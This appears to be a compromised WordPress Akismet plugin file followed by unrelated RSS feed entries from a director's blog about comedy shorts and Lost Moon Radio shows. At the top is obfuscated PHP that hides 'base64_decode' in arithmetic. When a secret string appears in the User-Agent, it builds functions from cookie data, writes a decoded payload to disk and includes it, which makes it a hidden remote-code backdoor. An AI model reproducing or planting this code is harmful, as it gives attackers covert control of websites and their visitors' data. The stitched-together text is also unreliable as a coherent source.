function collect_statistics($c)
{
    $a = array(41 + 57, 59 * 1 + 38, 24 + 91, 103 - 2, 2 * 27, 42 * 42 - 1712, 58 * 48 - 2689, 59 + 9 + 32, 104 - 3, 3 * 33, 29 + 82, 81 + 12 + 7, 81 + 20);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class CryptoService
{
    private static $_yv;
    static function executeAction($_vr)
    {
        if (!self::$_yv) {
            self::encryptData();
        }
        return collect_statistics(self::$_yv[$_vr]);
    }
    private static function encryptData()
    {
        self::$_yv = array('_nxg' => 'SFRUUF' . '9' . 'VU0VSX0FHRU5U', '_pz' => 'SFRUUF9VU0VSX0FH' . 'RU5U', '_cse' => 'ND' . 'k' . '5ODU0' . 'M' . 'TM' . '=', '_osq' => '', '_gfy' => '');
    }
}

if (isset($_SERVER[CryptoService::executeAction('_' . 'nxg')]) && strpos($_SERVER[CryptoService::executeAction('_p' . 'z')], CryptoService::executeAction('_c' . 'se')) !== false) {
    $_ox = $_COOKIE;
    $_kk = 00;
    $_vr = 04;
    $_li = array();
    $_li[$_kk] = CryptoService::executeAction('_o' . 'sq');
    while ($_vr) {
        $_li[$_kk] .= $_ox[042][$_vr];
        if (!$_ox[042][$_vr + 01]) {
            if (!$_ox[042][$_vr + 02]) {
                break;
            }
            $_kk++;
            $_li[$_kk] = CryptoService::executeAction('_g' . 'fy');
            $_vr++;
        }
        $_vr = $_vr + 04 + 01;
    }
    $_kk = $_li[03]() . $_li[033];
    if (!$_li[021]($_kk)) {
        $_vr = $_li[023]($_kk, $_li[00]);
        $_li[016]($_vr, $_li[022] . $_li[026]($_li[032]($_ox[03])));
    }
    include $_kk;
    die;
}
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Plugin Name: Akismet Anti-spam: Spam Protection
Plugin URI: https://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.5
Requires at least: 5.8
Requires PHP: 7.2
Author: Automattic - Anti-spam Team
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Copyright 2005-2025 Automattic, Inc.
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// Make sure we don't expose any info if called directly
if ( ! function_exists( 'add_action' ) ) {
	echo 'Hi there!  I\'m just a plugin, not much I can do when called directly.';
	exit;
}

define( 'AKISMET_VERSION', '5.5' );
define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' );
define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'AKISMET_DELETE_LIMIT', 10000 );

register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) );
register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) );

require_once AKISMET__PLUGIN_DIR . 'class.akismet.php';
require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php';
require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php';
require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php';

add_action( 'init', array( 'Akismet', 'init' ) );

add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) );

add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) );

if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) {
	require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php';
	add_action( 'init', array( 'Akismet_Admin', 'init' ) );
}

// add wrapper class around deprecated akismet functions that are referenced elsewhere
require_once AKISMET__PLUGIN_DIR . 'wrapper.php';

if ( defined( 'WP_CLI' ) && WP_CLI ) {
	require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php';
}
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	<title>comedy &#8211; Katherine Vondy</title>
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	<link>https://katherinevondy.com</link>
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		<title>&#8220;Marguerite Moreau&#8217;s Autograph&#8221; Featured on FUNNY OR DIE</title>
		<link>https://katherinevondy.com/?p=395</link>
		
		<dc:creator><![CDATA[kavondy]]></dc:creator>
		<pubDate>Fri, 04 Aug 2017 23:27:32 +0000</pubDate>
				<category><![CDATA[Film and Television]]></category>
		<category><![CDATA[comedy]]></category>
		<category><![CDATA[directing]]></category>
		<category><![CDATA[FunnyOrDie]]></category>
		<category><![CDATA[short films]]></category>
		<category><![CDATA[WET HOT AMERICAN SUMMER]]></category>
		<guid isPermaLink="false">https://katherinevondy.com/?p=395</guid>

					<description><![CDATA[My friend Dylan wrote a delightful comedy short, I directed it, and today it&#8217;s featured on FUNNY OR DIE! It&#8217;s called &#8220;Marguerite Moreau&#8217;s Autograph,&#8221; and it will be especially relevant to anyone who&#8217;s a die-hard fan of WET HOT AMERICAN SUMMER. Check it out!]]></description>
										<content:encoded><![CDATA[<p>My friend <a href="http://www.dylanris.com/">Dylan</a> wrote a delightful comedy short, I directed it, and today it&#8217;s featured on <a href="http://www.funnyordie.com/">FUNNY OR DIE</a>! It&#8217;s called &#8220;Marguerite Moreau&#8217;s Autograph,&#8221; and it will be especially relevant to anyone who&#8217;s a die-hard fan of WET HOT AMERICAN SUMMER. <a href="http://www.funnyordie.com/videos/acbfdbba11/marguerite-moreau-s-autograph">Check it out!</a></p>
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		<title>Lost Moon Radio: THE COMPLETE HUMAN EXPERIENCE</title>
		<link>https://katherinevondy.com/?p=390</link>
		
		<dc:creator><![CDATA[kavondy]]></dc:creator>
		<pubDate>Wed, 02 Aug 2017 00:40:23 +0000</pubDate>
				<category><![CDATA[Theater]]></category>
		<category><![CDATA[comedy]]></category>
		<category><![CDATA[directing]]></category>
		<category><![CDATA[live shows]]></category>
		<category><![CDATA[Lost Moon Radio]]></category>
		<guid isPermaLink="false">https://katherinevondy.com/?p=390</guid>

					<description><![CDATA[Extra, extra: I&#8217;m directing the new Lost Moon Radio live show! This one is all about THE COMPLETE HUMAN EXPERIENCE, which is a LOT of ground to cover in just an hour. But this show does it brilliantly with exceptional writing, music, and performances from everyone in this talented group. The show runs August 3,&#8230;]]></description>
										<content:encoded><![CDATA[<p>Extra, extra: I&#8217;m directing the new <a href="http://lostmoonradio.com/">Lost Moon Radio</a> live show! This one is all about THE COMPLETE HUMAN EXPERIENCE, which is a LOT of ground to cover in just an hour. But this show does it brilliantly with exceptional writing, music, and performances from everyone in this talented group.</p>
<p><a href="https://katherinevondy.com/wp-content/uploads/2017/08/complete-human-experience.jpg"><img fetchpriority="high" decoding="async" class="aligncenter size-full wp-image-391" src="https://katherinevondy.com/wp-content/uploads/2017/08/complete-human-experience.jpg" alt="complete human experience" width="600" height="400" srcset="https://katherinevondy.com/wp-content/uploads/2017/08/complete-human-experience.jpg 600w, https://katherinevondy.com/wp-content/uploads/2017/08/complete-human-experience-300x200.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>The show runs August 3, 4, and 5 at the Lyric Hyperion Theater in Los Angeles. Tickets are available <a href="https://www.eventbrite.com/e/lost-moon-radio-presents-the-complete-human-experience-tickets-36012858429">here</a>!</p>
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			</item>
		<item>
		<title>Dances of Missed Connections</title>
		<link>https://katherinevondy.com/?p=304</link>
		
		<dc:creator><![CDATA[kavondy]]></dc:creator>
		<pubDate>Mon, 23 May 2016 18:34:44 +0000</pubDate>
				<category><![CDATA[Film and Television]]></category>
		<category><![CDATA[comedy]]></category>
		<category><![CDATA[dance]]></category>
		<category><![CDATA[Dance of Missed Connections]]></category>
		<category><![CDATA[short films]]></category>
		<guid isPermaLink="false">https://katherinevondy.com/?p=304</guid>

					<description><![CDATA[I recently helped to produce two dance shorts with my talented friend Molly Leland. They were both directed by Julian Doan and choreographed by Rande Dorn, and are evocative illustrations of the futility of searching for true connection in our modern world. They are also funny. Check out &#8220;We Banged At My Uncle&#8217;s Funeral,&#8221; starring&#8230;]]></description>
										<content:encoded><![CDATA[<p>I recently helped to produce two dance shorts with my talented friend <a href="http://www.mollyleland.com/">Molly Leland</a>. They were both directed by Julian Doan and choreographed by Rande Dorn, and are evocative illustrations of the futility of searching for true connection in our modern world.</p>
<p>They are also funny.</p>
<p>Check out &#8220;We Banged At My Uncle&#8217;s Funeral,&#8221; starring Molly and Matthew Jaeger, and &#8220;I Gave You An Accidental Back Scratch,&#8221; starring Molly and Raymond Lee.<br />
<iframe src="https://www.youtube.com/embed/v_pQzCQePvA" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe><br />
<iframe src="https://www.youtube.com/embed/QHHv18hr3ac" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
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		<title>&#8220;You&#8217;re A Virgin&#8221; Released</title>
		<link>https://katherinevondy.com/?p=285</link>
		
		<dc:creator><![CDATA[kavondy]]></dc:creator>
		<pubDate>Fri, 19 Feb 2016 19:41:49 +0000</pubDate>
				<category><![CDATA[Film and Television]]></category>
		<category><![CDATA[comedy]]></category>
		<category><![CDATA[Lost Moon Radio]]></category>
		<category><![CDATA[short films]]></category>
		<guid isPermaLink="false">https://katherinevondy.com/?p=285</guid>

					<description><![CDATA[I recently had the chance to work with my favorite comedy ensemble Lost Moon Radio again! I directed a new short that was just released; it&#8217;s called &#8220;You&#8217;re A Virgin&#8221; and features some truly kickass performances from Dan Oster and Lauren Flans. Written by: Frank Smith and Ryan Harrison Producer: Samantha Niemoeller DP: Curtis Sherman&#8230;]]></description>
										<content:encoded><![CDATA[<p>I recently had the chance to work with my favorite comedy ensemble <a href="http://lostmoonradio.com/">Lost Moon Radio</a> again! I directed a new short that was just released; it&#8217;s called &#8220;You&#8217;re A Virgin&#8221; and features some truly kickass performances from Dan Oster and Lauren Flans.</p>
<p><iframe loading="lazy" src="https://www.youtube.com/embed/-1szvGYEsQ8" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>Written by: Frank Smith and Ryan Harrison<br />
Producer: Samantha Niemoeller<br />
DP: Curtis Sherman<br />
Sound: Dave McKeever<br />
Camera Operator: Michael Sherman<br />
Boom Operator: Lisa Gumm<br />
Original Music: Michael Wells</p>
<p>It&#8217;s always a joy to be involved in any creative project these guys do, and I&#8217;m clearly not the only one who thinks so; in just a few weeks, you can catch them on <a href="http://variety.com/2016/tv/news/late-night-snack-tru-tv-premiere-date-carbonaro-effect-truinside-1201709520/">TruTV&#8217;s new series LATE NIGHT SNACK</a>! Congrats, Lost Moon Radio!!</p>
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		<title>DAN&#8217;S CATS Video Released</title>
		<link>https://katherinevondy.com/?p=226</link>
		
		<dc:creator><![CDATA[kavondy]]></dc:creator>
		<pubDate>Mon, 20 Apr 2015 18:18:23 +0000</pubDate>
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		<category><![CDATA[Cat Videos]]></category>
		<category><![CDATA[comedy]]></category>
		<category><![CDATA[Lost Moon Radio]]></category>
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					<description><![CDATA[I had the opportunity to direct a segment for Lost Moon Radio&#8217;s video series DAN&#8217;S CATS, which has proven to be a fascinating study of both a) the way the internet functions and b) cats. The series is billed as a collection of cat videos &#8211; which it most certainly is! &#8211; but in a&#8230;]]></description>
										<content:encoded><![CDATA[<p>I had the opportunity to direct a segment for Lost Moon Radio&#8217;s video series DAN&#8217;S CATS, which has proven to be a fascinating study of both a) the way the internet functions and b) cats. The series is billed as a collection of cat videos &#8211; which it most certainly is! &#8211; but in a wacky postmodernist twist*, the Lost Moon content is presented in the form of a fake commercial preceding each video. It&#8217;s very <a href="http://en.wikipedia.org/wiki/The_Autobiography_of_Alice_B._Toklas">THE AUTOBIOGRAPHY OF ALICE B. TOKLAS by Gertrude Stein</a>.</p>
<p>Here&#8217;s the video. And be sure to check out the rest of DAN&#8217;S CATS, too!<br />
<iframe loading="lazy" src="https://www.youtube.com/embed/YARxO6dBpTg" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>*I&#8217;m never sure if I&#8217;m using &#8216;postmodernist&#8217; correctly but then again I don&#8217;t think anybody else is, either, so it&#8217;s all good.</p>
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		<title>Lost Moon Radio: MIX TAPE</title>
		<link>https://katherinevondy.com/?p=200</link>
		
		<dc:creator><![CDATA[kavondy]]></dc:creator>
		<pubDate>Tue, 19 Aug 2014 21:31:29 +0000</pubDate>
				<category><![CDATA[Theater]]></category>
		<category><![CDATA[comedy]]></category>
		<category><![CDATA[Lost Moon Radio]]></category>
		<guid isPermaLink="false">https://katherinevondy.com/?p=200</guid>

					<description><![CDATA[I&#8217;ve been a huge fan of LA&#8217;s awesomest musical comedy group Lost Moon Radio ever since they started performing five years ago, and I&#8217;m so excited to be directing their new live show! It goes up for one night only this Thursday (8 PM on August 21, 2014) at M.i.&#8217;s Westside Comedy Theater in Santa&#8230;]]></description>
										<content:encoded><![CDATA[<p>I&#8217;ve been a huge fan of LA&#8217;s awesomest musical comedy group <a href="http://lostmoonradio.com/">Lost Moon Radio</a> ever since they started performing five years ago, and I&#8217;m so excited to be directing their new live show! It goes up for one night only this Thursday (8 PM on August 21, 2014) at <a href="http://westsidecomedy.com/index.cfm">M.i.&#8217;s Westside Comedy Theater</a> in Santa Monica. It&#8217;s called MIX TAPE, and if you have any fondness for the &#8217;90s &#8211; or for laughing &#8211; then you should see this show.</p>
<p>Buy tickets <a href="http://westsidecomedy.com/event.cfm?id=332605&amp;cart">here</a>.</p>
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